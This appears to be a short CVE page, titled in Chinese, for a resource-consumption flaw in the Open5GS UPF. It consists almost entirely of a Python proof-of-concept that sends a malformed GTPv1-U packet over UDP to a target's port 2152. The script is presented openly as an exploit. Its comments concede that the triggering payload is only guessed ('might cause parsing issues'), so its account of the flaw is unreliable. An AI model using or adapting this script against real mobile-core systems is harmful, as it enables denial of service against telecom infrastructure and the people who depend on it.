CVE-2026-8187 Open5GS UPF资源消耗漏洞

import socket # PoC for CVE-2026-8187: Open5GS UPF Resource Consumption # This script sends a malformed GTPv1-U packet to trigger the vulnerability. # Target: Open5GS UPF component prior to 2.7.7 def send_exploit_packet(target_ip, target_port): try: # Create a UDP socket (GTP-U runs over UDP) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Construct a basic GTPv1-U header # Flags: Version=1, PT=1, (E, S, PN) = 0 gtp_flags = 0x30 # Message Type: T-PDU (0xFF) - Generic data packet msg_type = 0xFF # Length: placeholder, will update after payload construction length = 0 # TEID: Tunnel Endpoint Identifier (0 for testing) teid = 0x00000000 # Header construction (bytes) header = bytes([gtp_flags, msg_type]) + length.to_bytes(2, 'big') + teid.to_bytes(4, 'big') # Malicious Payload: The specific manipulation that triggers the flaw in _gtpv1_u_recv_cb # Often involves unexpected length or specific byte patterns. # Here we simulate a payload that might cause parsing issues. payload = b"\x00" * 1000 # Example padding # Update Length field (Header size is 4 bytes, excluded from length field in GTP usually, but implementation varies) # Standard GTP length is message length excluding header, but let's just send a large packet. length = len(payload) header = bytes([gtp_flags, msg_type]) + length.to_bytes(2, 'big') + teid.to_bytes(4, 'big') packet = header + payload print(f"[*] Sending malformed packet to {target_ip}:{target_port}") sock.sendto(packet, (target_ip, target_port)) print("[+] Packet sent. Monitor UPF resource usage.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": # Replace with actual target IP and GTP-U port (default is usually 2152) TARGET_IP = "192.168.1.10" TARGET_PORT = 2152 send_exploit_packet(TARGET_IP, TARGET_PORT)